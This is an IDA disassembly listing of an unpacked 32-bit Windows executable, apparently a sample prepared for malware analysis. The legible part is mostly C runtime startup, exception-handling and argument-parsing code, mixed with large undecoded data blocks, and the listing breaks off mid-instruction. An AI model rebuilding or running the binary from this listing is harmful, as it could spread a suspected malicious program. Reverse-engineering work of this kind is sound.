; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : DF9D39055C34895DE05B52761D925328 ; File Name : u:\work\df9d39055c34895de05b52761d925328_unpacked.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 400000 ; Section 1. (virtual address 00001000) ; Virtual size : 00004000 ( 16384.) ; Section size in file : 00004000 ( 16384.) ; Offset to raw data for section: 00001000 ; Flags E0000040: Data Executable Readable Writable ; Alignment : default unicode macro page,string,zero irpc c,<string> db '&c', page endm ifnb <zero> dw zero endif endm .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute seg000 segment para public 'CODE' use32 assume cs:seg000 ;org 401000h assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing ; [00000005 BYTES: COLLAPSED FUNCTION start. PRESS KEYPAD "+" TO EXPAND] db 55h, 7Fh, 53h dd 0E24ECFAFh, 4E607A0Fh, 1693B19Ah, 2E0D8248h, 0F0F8B9CDh dd 35515F2Bh, 583CAE22h, 24CCF640h, 0DD2CF164h, 0F58275F4h dd 71F9728h, 3AB5A713h, 2CB78B68h, 0F2186D0Dh, 0E0FDC8FAh dd 0F463913h, 0F1BFA4D0h, 6494A003h, 0F0482406h, 4C30F71Ah dd 4C6661C7h, 0C1870685h, 1C10601h, 160CC1B7h, 0CF80D1DCh dd 353C2193h, 0C3B321Bh, 7906FA65h, 0F544E82Fh, 0D6EF2AAh dd 0A73DC432h, 0DF927AB0h, 8FF868A4h, 28F3E4F6h, 7AB822FEh dd 79187D70h, 31A7D315h, 6771C085h, 0A5B8E644h, 0B4A293F1h dd 0A9C85C7Ah, 1E08996Fh, 3D13D801h, 0A795902Bh, 6AF7D423h dd 8307C112h, 0AF14D29Dh, 83587EE7h, 0F8124AE9h, 1E99B3FFh dd 3C33BB21h, 30788FAh, 70B3A739h, 3B7A0B41h, 5FBF715Ah dd 0DC24F06Fh, 0CB4B3792h, 0F12EE970h, 4394FFF7h, 3046FDB6h dd 79690768h, 8AEA75F9h, 32C2324Ah, 0F7CAE6D9h, 0BCA01A7Ah dd 0EDFB944h, 1464149h, 7781CBAAh, 1CC0B4F8h, 934CA014h dd 87B506EFh, 0AD639EEFh, 0D88F4DB9h, 0BEFB60C0h, 9ED46D7h dd 0C23B1497h, 55707664h, 9966EB5Dh, 0A7C66284h, 7A5B98E8h dd 8F1BD6A5h, 0FC62E1EDh, 0D2C14194h, 0A2493BB0h, 8546145Ah dd 6D27C95h, 0B8B842F1h, 82729D74h, 0B15AC3C5h, 825985C6h dd 0B78E2D03h, 4BD6E89Fh, 71225BBCh, 65033E73h, 0CAE023D8h dd 8ABCB7B4h, 777921D6h, 2FF9573Bh, 0F9B48B5Eh, 94610A7Eh dd 3FFA1CA1h, 6838DB9Eh, 0CC28088Ch, 0FAA3343Eh, 79B403C9h dd 0EE9262Dh, 0B9FFF80Eh, 0F80E0EE9h, 7CD62DFFh, 0E38BC8B4h dd 940E7414h, 0E3E3A61Dh, 0B66180C3h, 2DC38674h, 6B3145h dd 990CACC3h, 1AD46552h, 0CFE73A48h, 0DCA3752Ch, 0F48BE5CEh dd 90E4B31Ch, 0EE42CEDBh, 0B8A10CC7h, 39CC5BA5h, 6A24A350h dd 4A0C29DBh, 408D9643h, 84010B44h, 0CEB9BC60h, 0B9191B23h dd 0B0778025h, 40CCD670h, 280BC733h, 938B52E9h, 4208EA7Dh dd 8DFA75E4h, 9970BD50h, 22834AFBh, 9C31A21Bh, 0B92D6085h dd 6CE1B615h, 10CD38DFh, 47DE09B3h, 0AB87C68Ah, 80AADCE1h dd 0DC94000Eh, 14A50A1Ah, 55657BB7h, 0BA155A47h, 480F211Eh dd 9774096Fh, 2206E683h, 1EE9473Ch, 0C5FFF7F4h, 9142D24Ah dd 673FF14Fh, 0F4269E49h, 0E95C14F9h, 61BF8AF0h, 0D52BFE90h dd 0CF982ABCh, 8B116341h, 88BEC45h, 4D89098Bh, 0E85150DCh dd 374h, 8BC35959h, 7D8BE865h, 0E47D83DCh, 57067500h, 180E8h dd 19BE800h, 0A4E90000h, 8FFF80Ch, 0D3E6D8CFh, 0BC64A874h db 0E0h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4012C9 proc near ; CODE XREF: sub_401363+BAp jmp near ptr 380DB6h sub_4012C9 endp ; --------------------------------------------------------------------------- dw 0E9B6h ; --------------------------------------------------------------------------- loc_4012D0: ; CODE XREF: seg000:loc_4012D0j jge short loc_4012D0 push eax ; --------------------------------------------------------------------------- db 0F2h dd 7247F6B8h, 5240C42Ah, 1301848Ch, 0D070A565h, 0A3B447D1h dd 0C7CC8218h, 378A2F1Bh, 0A5C0DD16h, 2FB2C2Bh, 0FF8BE9CCh dd 5CE5FFF7h, 446B4613h, 0F5BCAE5Eh, 1D9D0EDEh, 0B823FA21h dd 0F778BE98h, 6F40BACAh, 37F9665Ah, 92E6FE70h, 44434C22h dd 9DDB09CEh, 0EF4BDE94h, 0FB6BFB46h, 6AD2B09Fh, 884CA791h dd 0C1BA8DDBh, 93D55E5Dh, 0F89D93C9h, 8289E0AAh, 0A7BE65DCh dd 0F6E14FFAh, 34446C51h, 907F3458h, 8FCA24D6h, 32979B20h db 0Ch, 7Bh, 3Bh ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401363 proc near ; CODE XREF: seg000:0040142Cp ; sub_401435+8p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push esi xor esi, esi inc esi cmp ds:dword_407358, esi push edi jnz short loc_401383 push [ebp+arg_0] call near ptr 0A90004h jmp far ptr 6Ah:0EC82E850h ; --------------------------------------------------------------------------- db 0CDh ; --------------------------------------------------------------------------- loc_401383: ; CODE XREF: sub_401363+Ej cmp [ebp+arg_4], 0 mov al, byte ptr [ebp+arg_8] mov ds:dword_407354, esi mov ds:byte_407350, al jnz short loc_4013E9 mov ecx, ds:dword_407888 test ecx, ecx jz short loc_4013CA mov eax, ds:dword_407884 sub eax, 4 cmp eax, ecx jmp short loc_4013C3 ; --------------------------------------------------------------------------- loc_4013AD: ; CODE XREF: sub_401363+65j mov eax, [eax] test eax, eax jz short loc_4013B5 call eax loc_4013B5: ; CODE XREF: sub_401363+4Ej mov eax, ds:dword_407884 sub eax, 4 cmp eax, ds:dword_407888 loc_4013C3: ; CODE XREF: sub_401363+48j mov ds:dword_407884, eax jnb short loc_4013AD loc_4013CA: ; CODE XREF: sub_401363+3Cj mov eax, offset dword_40701C mov esi, offset dword_407020 cmp eax, esi mov edi, eax jnb short loc_4013E9 loc_4013DA: ; CODE XREF: sub_401363+84j mov eax, [edi] test eax, eax jz short loc_4013E2 call eax loc_4013E2: ; CODE XREF: sub_401363+7Bj add edi, 4 cmp edi, esi jb short loc_4013DA loc_4013E9: ; CODE XREF: sub_401363+32j ; sub_401363+75j mov eax, offset dword_407024 mov esi, offset dword_407028 cmp eax, esi mov edi, eax jnb short loc_401408 loc_4013F9: ; CODE XREF: sub_401363+A3j mov eax, [edi] test eax, eax jz short loc_401401 call eax loc_401401: ; CODE XREF: sub_401363+9Aj add edi, 4 cmp edi, esi jb short loc_4013F9 loc_401408: ; CODE XREF: sub_401363+94j cmp [ebp+arg_8], 0 pop edi pop esi jnz short loc_401422 push [ebp+arg_0] mov ds:dword_407358, 1 call sub_4012C9 ; --------------------------------------------------------------------------- loc_401422: ; CODE XREF: sub_401363+ABj pop ebp retn sub_401363 endp ; --------------------------------------------------------------------------- push 0 push 0 push dword ptr [esp+0Ch] call sub_401363 add esp, 0Ch retn ; =============== S U B R O U T I N E ======================================= sub_401435 proc near ; CODE XREF: seg000:00403E79p arg_0 = dword ptr 4 push 0 push 1 push [esp+8+arg_0] call sub_401363 add esp, 0Ch retn sub_401435 endp ; --------------------------------------------------------------------------- push 1 push 0 push 0 call sub_401363 add esp, 0Ch retn ; --------------------------------------------------------------------------- push 1 push 1 push 0 call sub_401363 add esp, 0Ch retn ; --------------------------------------------------------------------------- dd 0F807E3E9h, 44C5FFh, 0F4ABB7C8h, 7BB2292Fh, 1EA7B411h dd 0DBEC9537h, 0A26DC975h, 33A95D26h, 8323BDD2h, 0E9E1505Ah dd 0A44AA7FAh, 778B150Dh, 7D4C6F63h, 7370508Ch, 5111F6Fh dd 0EF07A309h, 0FDA2073Ch, 2C6570F1h, 88E9A90Ch, 8C4075DDh dd 9728432h, 0E9F83808h, 5D459B9Bh, 2FBE3D5Ch, 62CBDCE1h dd 4ABD1010h, 0C9CB53EBh, 635F23D2h, 3F6C2525h, 6C966F84h dd 0DE4E6A3Ch, 442F881h, 0F7B3C97Eh, 9B9C0D81h, 26B6E9AFh dd 0F6BB6602h, 0B390B58Ah, 0FD1C0E3Eh, 52F46FB9h, 0D4451BBFh dd 1D738B71h, 4A773775h, 0EFF36990h, 996BFC63h, 0D3BCE54h dd 73211ED9h, 13843F9Dh, 5AC05B43h, 412817BFh, 57875481h dd 0C5182EAh, 0EEC91AD4h, 6C93D19h, 74029E5Bh, 12CC2295h dd 0A5F0E61Bh, 0E9F19011h, 95C81D9Ch, 0F422983Fh, 0EF746417h dd 6DA00111h, 80DD822Fh, 0D0221876h, 16565D3Ah, 0AFF553AFh dd 0ABFE3F23h, 0B93AC232h, 0E64DF3D0h, 25254F1Bh, 0E797B121h dd 6A5DD136h, 64B5D177h, 405EEE8Ch, 15AE5AD5h, 0F9F5CB8Ch dd 767C5889h, 25C390B8h, 0CFD70765h, 87D8B3EEh, 9917CE8Eh dd 5B57243Bh, 222106D8h, 0EB31353Bh, 906B93AEh, 78EA600Eh dd 32085291h, 0E974D8DFh, 0FFF7F7CAh, 0D612EBF3h, 0F464C8B4h dd 5B4F324Eh, 80C81B92h, 3E0E90E6h, 0E959559Eh, 0FFF80456h dd 8756BFABh, 9AC26E90h, 85492154h, 0A336A8FBh, 0DF87D869h dd 0A7A226B0h, 6EBFC7ECh, 6024D518h, 0F7980A9Bh, 0A3A20C92h dd 9F658009h, 0B84E369Bh, 0A1DC2C4Dh ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov edx, [ebp+8] mov eax, ds:dword_4071A8 push ebx mov ecx, offset dword_407128 push esi loc_401626: ; CODE XREF: seg000:00401639j cmp [ecx], edx jz short loc_40163B lea esi, [eax+eax*2] add ecx, 0Ch lea esi, ds:407128h[esi*4] cmp ecx, esi jb short loc_401626 loc_40163B: ; CODE XREF: seg000:00401628j lea eax, [eax+eax*2] lea eax, ds:407128h[eax*4] cmp ecx, eax jnb short loc_40164D cmp [ecx], edx jz short loc_40164F loc_40164D: ; CODE XREF: seg000:00401647j xor ecx, ecx loc_40164F: ; CODE XREF: seg000:0040164Bj test ecx, ecx jz loc_401778 mov ebx, [ecx+8] test ebx, ebx jz loc_401778 cmp ebx, 5 jnz short loc_401673 and dword ptr [ecx+8], 0 xor eax, eax inc eax jmp loc_401781 ; --------------------------------------------------------------------------- loc_401673: ; CODE XREF: seg000:00401665j cmp ebx, 1 jz loc_401773 mov eax, ds:dword_407360 mov [ebp+8], eax mov eax, [ebp+0Ch] mov ds:dword_407360, eax mov eax, [ecx+4] cmp eax, 8 jnz loc_401763 mov eax, ds:dword_4071A0 mov edx, ds:dword_4071A4 add edx, eax cmp eax, edx jge short loc_4016BE lea esi, [eax+eax*2] lea esi, ds:407130h[esi*4] sub edx, eax loc_4016B5: ; CODE XREF: seg000:004016BCj and dword ptr [esi], 0 add esi, 0Ch dec edx jnz short loc_4016B5 loc_4016BE: ; CODE XREF: seg000:004016A7j mov ecx, [ecx] cmp ecx, 0C000008Eh mov esi, ds:dword_4071AC jnz short loc_4016DA mov ds:dword_4071AC, 83h jmp short loc_401750 ; --------------------------------------------------------------------------- loc_4016DA: ; CODE XREF: seg000:004016CCj cmp ecx, 0C0000090h jnz short loc_4016EE mov ds:dword_4071AC, 81h jmp short loc_401750 ; --------------------------------------------------------------------------- loc_4016EE: ; CODE XREF: seg000:004016E0j cmp ecx, 0C0000091h jnz short loc_401702 mov ds:dword_4071AC, 84h jmp short loc_401750 ; --------------------------------------------------------------------------- loc_401702: ; CODE XREF: seg000:004016F4j cmp ecx, 0C0000093h jnz short loc_401716 mov ds:dword_4071AC, 85h jmp short loc_401750 ; --------------------------------------------------------------------------- loc_401716: ; CODE XREF: seg000:00401708j cmp ecx, 0C000008Dh jnz short loc_40172A mov ds:dword_4071AC, 82h jmp short loc_401750 ; --------------------------------------------------------------------------- loc_40172A: ; CODE XREF: seg000:0040171Cj cmp ecx, 0C000008Fh jnz short loc_40173E mov ds:dword_4071AC, 86h jmp short loc_401750 ; --------------------------------------------------------------------------- loc_40173E: ; CODE XREF: seg000:00401730j cmp ecx, 0C0000092h jnz short loc_401750 mov ds:dword_4071AC, 8Ah loc_401750: ; CODE XREF: seg000:004016D8j ; seg000:004016ECj ... push ds:dword_4071AC push 8 call ebx pop ecx mov ds:dword_4071AC, esi jmp short loc_40176A ; --------------------------------------------------------------------------- loc_401763: ; CODE XREF: seg000:00401692j and dword ptr [ecx+8], 0 push eax call ebx loc_40176A: ; CODE XREF: seg000:00401761j mov eax, [ebp+8] pop ecx mov ds:dword_407360, eax loc_401773: ; CODE XREF: seg000:00401676j or eax, 0FFFFFFFFh jmp short loc_401781 ; --------------------------------------------------------------------------- loc_401778: ; CODE XREF: seg000:00401651j ; seg000:0040165Cj push dword ptr [ebp+0Ch] call ds:dword_405040 ; UnhandledExceptionFilter loc_401781: ; CODE XREF: seg000:0040166Ej ; seg000:00401776j pop esi pop ebx pop ebp retn ; --------------------------------------------------------------------------- db 0E9h, 6Dh, 0FDh dd 0F054FFF7h, 8A64915Fh, 0A7823AD7h, 0EE561DC1h, 124B8603h dd 8729AAE1h, 44E53A1Fh, 0FA5EE908h, 689AFFF7h, 0BAA4A6F7h dd 0DFF6B5DAh, 0E815F792h, 6DD9E5DDh, 5285C8BFh, 7B4D12F0h dd 0F27B95ABh, 672EE2E7h, 27334855h, 0DFA6238Eh, 0D5418F6Dh dd 587AA26Ch, 0C68B5F80h, 3353C35Eh, 8C1D39DBh, 56004078h dd 0E8057557h, 10E4h, 7300358Bh, 0FF330040h, 1275F33Bh dd 3D3C30EBh, 56470174h, 0BF3E8h, 748D5900h, 68A0106h dd 0EA75C33Ah, 4BD048Dh, 50000000h, 117BE8h, 3BF88B00h dd 3D8959FBh, 407338h, 0C8830575h, 8B58EBFFh, 40730035h dd 2AEB5500h, 0BBAE856h, 0E88B0000h, 3D3E8045h, 55197459h dd 114BE8h, 59C33B00h, 37740789h, 6DE85056h, 59000009h dd 4C78359h, 1E38F503h, 35FFD275h, 407300h, 107DE8h, 1D8900h dd 89004073h, 8005C71Fh, 1004078h, 33000000h, 5F5D59C0h dd 0FFC35B5Eh, 40733835h, 1058E800h, 1D890000h, 407338h dd 0EBFFC883h db 0E4h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push ebx mov ebx, [ebp+0Ch] xor edx, edx cmp [ebp+8], edx push edi mov [esi], edx mov edi, ecx mov dword ptr [ebx], 1 jz short loc_4018CC mov ecx, [ebp+8] add dword ptr [ebp+8], 4 mov [ecx], edi loc_4018CC: ; CODE XREF: seg000:004018C1j ; seg000:0040190Ej ... cmp byte ptr [eax], 22h jnz short loc_4018DF xor ecx, ecx test edx, edx setz cl inc eax mov edx, ecx mov cl, 22h jmp short loc_40190C ; --------------------------------------------------------------------------- loc_4018DF: ; CODE XREF: seg000:004018CFj inc dword ptr [esi] test edi, edi jz short loc_4018EA mov cl, [eax] mov [edi], cl inc edi loc_4018EA: ; CODE XREF: seg000:004018E3j mov cl, [eax] movzx ebx, cl inc eax test ds:byte_407541[ebx], 4 jz short loc_401905 inc dword ptr [esi] test edi, edi jz short loc_401904 mov bl, [eax] mov [edi], bl inc edi loc_401904: ; CODE XREF: seg000:004018FDj inc eax loc_401905: ; CODE XREF: seg000:004018F7j test cl, cl mov ebx, [ebp+0Ch] jz short loc_40193E loc_40190C: ; CODE XREF: seg000:004018DDj test edx, edx jnz short loc_4018CC cmp cl, 20h jz short loc_40191A cmp cl, 9 jnz short loc_4018CC loc_40191A: ; CODE XREF: seg000:00401913j test edi, edi jz short loc_401922 mov byte ptr [edi-1], 0 loc_401922: ; CODE XREF: seg000:0040191Cj ; seg000:0040193Fj and dword ptr [ebp-4], 0 loc_401926: ; CODE XREF: seg000:00401A00j cmp byte ptr [eax], 0 jz loc_401A05 loc_40192F: ; CODE XREF: seg000:0040193Cj mov cl, [eax] cmp cl, 20h jz short loc_40193B cmp cl, 9 jnz short loc_401941 loc_40193B: ; CODE XREF: seg000:00401934j inc eax jmp short loc_40192F ; --------------------------------------------------------------------------- loc_40193E: ; CODE XREF: seg000:0040190Aj dec eax jmp short loc_401922 ; --------------------------------------------------------------------------- loc_401941: ; CODE XREF: seg000:00401939j cmp byte ptr [eax], 0 jz loc_401A05 cmp dword ptr [ebp+8], 0 jz short loc_401959 mov ecx, [ebp+8] add dword ptr [ebp+8], 4 mov [ecx], edi loc_401959: ; CODE XREF: seg000:0040194Ej inc dword ptr [ebx] loc_40195B: ; CODE XREF: seg000:004019EEj xor ebx, ebx inc ebx xor edx, edx jmp short loc_401964 ; --------------------------------------------------------------------------- loc_401962: ; CODE XREF: seg000:00401967j inc eax inc edx loc_401964: ; CODE XREF: seg000:00401960j cmp byte ptr [eax], 5Ch jz short loc_401962 cmp byte ptr [eax], 22h jnz short loc_401994 test dl, 1 jnz short loc_401992 cmp dword ptr [ebp-4], 0 jz short loc_401985 lea ecx, [eax+1] cmp byte ptr [ecx], 22h jnz short loc_401985 mov eax, ecx jmp short loc_401987 ; --------------------------------------------------------------------------- loc_401985: ; CODE XREF: seg000:00401977j ; seg000:0040197Fj xor ebx, ebx loc_401987: ; CODE XREF: seg000:00401983j xor ecx, ecx cmp [ebp-4], ecx setz cl mov [ebp-4], ecx loc_401992: ; CODE XREF: seg000:00401971j shr edx, 1 loc_401994: ; CODE XREF: seg000:0040196Cj test edx, edx jz short loc_4019A5 loc_401998: ; CODE XREF: seg000:004019A3j test edi, edi jz short loc_4019A0 mov byte ptr [edi], 5Ch inc edi loc_4019A0: ; CODE XREF: seg000:0040199Aj inc dword ptr [esi] dec edx jnz short loc_401998 loc_4019A5: ; CODE XREF: seg000:00401996j mov cl, [eax] test cl, cl jz short loc_4019F3 cmp dword ptr [ebp-4], 0 jnz short loc_4019BB cmp cl, 20h jz short loc_4019F3 cmp cl, 9 jz short loc_4019F3 loc_4019BB: ; CODE XREF: seg000:004019AFj test ebx, ebx jz short loc_4019ED test edi, edi jz short loc_4019DC movzx edx, cl test ds:byte_407541[edx], 4 jz short loc_4019D5 mov [edi], cl inc edi inc eax inc dword ptr [esi] loc_4019D5: ; CODE XREF: seg000:004019CDj mov cl, [eax] mov [edi], cl inc edi jmp short loc_4019EB ; --------------------------------------------------------------------------- loc_4019DC: ; CODE XREF: seg000:004019C1j movzx ecx, cl test ds:byte_407541[ecx], 4 jz short loc_4019EB inc eax inc dword ptr [esi] loc_4019EB: ; CODE XREF: seg000:004019DAj ; seg000:004019E6j inc dword ptr [esi] loc_4019ED: ; CODE XREF: seg000:004019BDj inc eax jmp loc_40195B ; --------------------------------------------------------------------------- loc_4019F3: ; CODE XREF: seg000:004019A9j ; seg000:004019B4j ... test edi, edi jz short loc_4019FB mov byte ptr [edi], 0 inc edi loc_4019FB: ; CODE XREF: seg000:004019F5j inc dword ptr [esi] mov ebx, [ebp+0Ch] jmp loc_401926 ; --------------------------------------------------------------------------- loc_401A05: ; CODE XREF: seg000:00401929j ; seg000:00401944j mov eax, [ebp+8] test eax, eax jz short loc_401A0F and dword ptr [eax], 0 loc_401A0F: ; CODE XREF: seg000:00401A0Aj inc dword ptr [ebx] pop edi pop ebx leave retn ; --------------------------------------------------------------------------- db 0E9h, 0DDh, 3 dd 861BFFF8h, 47E03A79h, 0EF94AF70h, 0C7628E68h, 8E4779AAh dd 0FC0AF1A6h, 796E9CFBh, 0FB0C6C40h, 0A97E7C23h, 9DCD8FB1h dd 0CA4A70C7h, 1A37B4F7h, 12FD9279h, 0ADD2D3EAh, 38E919EDh dd 51C2E6EDh, 7119459Ah, 837FDBE8h, 81BDDA98h, 1C6B189Bh dd 0D8692EDBh, 37318D37h, 0C216BFB5h, 2AF75C4Bh, 0AA0165ACh dd 8D650907h, 655208A2h, 536C3CC1h, 9198EF46h, 0EDEF19DDh dd 0C119CDDh, 893521F1h, 69C03258h, 5125A348h, 885F78B6h dd 0C65CC6ABh, 32105EBEh, 2D0E1886h, 42E91F01h, 0E9FFF7FEh dd 0FFF80797h, 6A96DE3Eh, 0C32F0CBDh, 311846Eh, 0F2C6E5E2h dd 50BECC2Ah, 70A81DD1h, 8E689F9Ah, 11329C54h, 77C68FCAh dd 0B0010AB1h, 181362F3h, 4F2BD4E1h, 0B7672017h, 4344CE15h dd 0D1F1B6EDh, 743C5885h, 1BF63029h, 0F7EEC6E9h, 12CE9FFh dd 91BFFF8h, 0C9A29CF0h, 41A9CEA2h, 0DEA8D730h, 4DCEFD0Eh dd 0FD99DCE3h, 0E56D53B0h, 9EABEF0Eh, 24EA9A14h, 0EE3F72ACh dd 30BA1F67h, 4C980C1Bh, 4B656D0h, 0C85959DAh, 39491E15h dd 0C4D8309Ah, 0E863838Bh, 94407694h, 994D2265h, 3A81803Eh dd 41371043h, 2C120A44h, 54AB5419h, 2B82B4D6h, 0E2C0F864h dd 2BDC1E48h, 0CA28A1B0h, 4AD685FDh, 0F406BA6Fh, 0DAD3F8A6h dd 0A897301Dh, 75B51FCEh, 0E4B2BDB2h, 277D87B9h, 0D50BC971h dd 0A2C08E90h, 514CCBF3h, 8BE3D3DFh, 67054F92h, 0CC343666h dd 15D7A20h, 2C2702Fh, 8FA529E5h, 0EB193702h, 0CBA99D01h dd 0F7BAEB20h, 89DDB402h, 0DC74E451h, 5DEE9E6h, 397EFFF8h dd 4E9B55Eh, 55FFF7EDh, 44EC835Dh, 10068h, 0DBAE800h, 0C0850000h dd 83087559h, 8DE9FFC8h, 0A3000001h, 407780h, 776805C7h dd 200040h, 888D0000h, 100h, 8831AEBh, 440C6FFh, 540C600h dd 800D8B0Ah, 83004077h, 0C18108C0h, 100h, 0E272C13Bh dd 8D575653h, 500C2444h, 6CE3CFE8h, 8366AE00h, 3E247Ch dd 0C7840Fh, 448B0000h, 0C0854024h, 0BB840Fh, 308B0000h dd 4688D55h, 800B8h, 8DF03B00h, 27C2E1Ch, 3539F08Bh, 407768h dd 84BF527Dh, 68004077h, 100h, 0D27E8h, 59C08500h, 5833874h dd 407768h, 8D078920h, 10088h, 8316EB00h, 40C6FF08h, 40C60004h dd 0F8B0A05h, 8108C083h, 100C1h, 72C13B00h, 4C783E6h, 77683539h dd 0BB7C0040h, 358B06EBh, 407768h, 0F685FF33h, 38B467Eh dd 74FFF883h, 4D8A36h, 7401C1F6h, 8C1F62Eh, 0E8500B75h dd 6EE328h, 74C08548h, 0C1C78B1Eh, 48B05F8h, 40778085h dd 83CF8B00h, 48D1FE1h, 890B8BC8h, 4D8A08h, 47044888h dd 4C38345h, 0BA7CFE3Bh, 0A1DB335Dh, 407780h, 83D8348Dh dd 4D75FF3Eh, 46C6DB85h, 5758104h, 0EB58F66Ah, 48C38B0Ah dd 0C01BD8F7h, 50F5C083h, 70E2CFE8h, 0F88B3A00h, 74FFFF83h dd 0C1E85717h, 400072E2h, 0C74C085h, 0FF25h, 2F88300h dd 6753E89h, 40044E80h, 0F8830FEBh, 800A7503h, 0EB08044Eh dd 44E8004h, 0FB834380h, 0FF9C7C03h, 40776835h, 0E28AE800h dd 5FD10074h, 5BC0335Eh, 0C344C483h, 0F80314E9h, 4E105FFh dd 19CA02C6h, 0D6D39E3Bh, 0E931B1E7h, 0FFF803C4h, 0D0398AC6h dd 62900E76h, 184C6259h, 490AA351h, 1BA9444Eh, 40C0336Ah dd 0E8658BC3h, 0F7F2EDE9h, 4750C1FFh, 0ACE9C3A7h, 0F4FFF7FBh dd 48680C6Ah, 0E8004055h, 0A4h, 94E445C7h, 8100405Dh, 5D94E47Dh dd 22730040h, 0FC6583h, 8BE4458Bh, 74C08500h, 0EBD0FF0Bh dd 40C03307h, 0E8658BC3h, 0FFFC4D83h, 4E44583h, 0A8E8D5EBh dd 0C3000000h, 73183D83h, 75020040h, 243D830Dh, 5004073h dd 0C0330472h, 36AC340h, 0C033C358h, 4244439h, 940F006Ah dd 100068C0h, 0FF500000h, 40506815h, 0A3C08500h, 407760h dd 0C1E82A74h, 83FFFFFFh, 64A303F8h, 75004077h, 3F8681Eh dd 9EE80000h, 8500000Eh, 0F7559C0h, 776035FFh, 15FF0040h dd 405064h, 33C3C033h, 0CCC340C0h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401E78 proc near ; CODE XREF: sub_4024BC-2Ap ; sub_403D37+Ap ... jmp near ptr 38088Eh sub_401E78 endp ; --------------------------------------------------------------------------- db 92h, 0D4h, 75h dd 7A9438A9h, 0C8896A6Bh, 4B58D0DCh, 7F2467EDh, 0CC3224BEh dd 0DA56C370h, 87B3D79Fh, 85A17932h, 0DDBB3661h, 0D1681334h dd 0D26CC8C8h, 91478A2Eh db 9Eh, 0FCh, 72h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401EB3 proc near ; CODE XREF: sub_403E7F+3B6p ; seg000:004043EFp ... jmp near ptr 3820DEh sub_401EB3 endp ; --------------------------------------------------------------------------- mov eax, ds:1E7F96DBh retf ; --------------------------------------------------------------------------- push edx or [edi-2Ch], al test eax, 3243566Eh xor [eax+43h], bl xor [eax], dh push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi push ebp cld mov ebx, [ebp+0Ch] mov eax, [ebp+8] test dword ptr [eax+4], 6 jnz loc_401F95 mov [ebp-8], eax mov eax, [ebp+10h] mov [ebp-4], eax lea eax, [ebp-8] mov [ebx-4], eax mov esi, [ebx+0Ch] mov edi, [ebx+8] push ebx call sub_40390E add esp, 4 or eax, eax jz short loc_401F87 loc_401F0C: ; CODE XREF: seg000:00401F7Ej cmp esi, 0FFFFFFFFh jz short loc_401F8E lea ecx, [esi+esi*2] mov eax, [edi+ecx*4+4] or eax, eax jz short loc_401F75 push esi push ebp lea ebp, [ebx+10h] xor ebx, ebx xor ecx, ecx xor edx, edx xor esi, esi xor edi, edi call eax pop ebp pop esi mov ebx, [ebp+0Ch] or eax, eax jz short loc_401F75 js short loc_401F80 mov edi, [ebx+8] push ebx call sub_403820 add esp, 4 lea ebp, [ebx+10h] push esi push ebx call sub_403862 add esp, 8 lea ecx, [esi+esi*2] push 1 mov eax, [edi+ecx*4+8] call sub_4038F6 mov eax, [edi+ecx*4] mov [ebx+0Ch], eax mov eax, [edi+ecx*4+8] xor ebx, ebx xor ecx, ecx xor edx, edx xor esi, esi xor edi, edi call eax loc_401F75: ; CODE XREF: seg000:00401F1Aj ; seg000:00401F34j mov edi, [ebx+8] lea ecx, [esi+esi*2] mov esi, [edi+ecx*4] jmp short loc_401F0C ; --------------------------------------------------------------------------- loc_401F80: ; CODE XREF: seg000:00401F36j mov eax, 0 jmp short loc_401FAA ; --------------------------------------------------------------------------- loc_401F87: ; CODE XREF: seg000:00401F0Aj mov eax, [ebp+8] or dword ptr [eax+4], 8 loc_401F8E: ; CODE XREF: seg000:00401F0Fj mov eax, 1 jmp short loc_401FAA ; --------------------------------------------------------------------------- loc_401F95: ; CODE XREF: seg000:00401EE4j push ebp lea ebp, [ebx+10h] push 0FFFFFFFFh push ebx call sub_403862 add esp, 8 pop ebp mov eax, 1 loc_401FAA: ; CODE XREF: seg000:00401F85j ; seg000:00401F93j pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- push ebp mov ecx, [esp+8] mov ebp, [ecx] mov eax, [ecx+1Ch] push eax mov eax, [ecx+18h] push eax call sub_403862 add esp, 8 pop ebp retn 4 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_401FD0 proc near ; CODE XREF: seg000:00403E22p ; sub_403E7F+E3p ... arg_0 = byte ptr 4 cmp eax, 1000h jnb short loc_401FE5 neg eax add eax, esp add eax, 4 test [eax], eax xchg eax, esp mov eax, [eax] push eax retn ; --------------------------------------------------------------------------- loc_401FE5: ; CODE XREF: sub_401FD0+5j push ecx lea ecx, [esp+4+arg_0] loc_401FEA: ; CODE XREF: sub_401FD0+2Cj sub ecx, 1000h sub eax, 1000h test [ecx], eax cmp eax, 1000h jnb short loc_401FEA sub ecx, eax mov eax, esp test [ecx], eax mov esp, ecx mov ecx, [eax] mov eax, [eax+4] push eax retn sub_401FD0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- push esi push ds:dword_407888 call sub_403C99 pop ecx mov ecx, ds:dword_407884 mov esi, eax mov eax, ds:dword_407888 mov edx, ecx sub edx, eax add edx, 4 cmp esi, edx jnb short loc_402080 mov ecx, 800h cmp esi, ecx jnb short loc_40203D mov ecx, esi loc_40203D: ; CODE XREF: seg000:00402039j add ecx, esi push ecx push eax call sub_403B37 test eax, eax pop ecx pop ecx jnz short loc_402063 add esi, 10h push esi push ds:dword_407888 call sub_403B37 test eax, eax pop ecx pop ecx jnz short 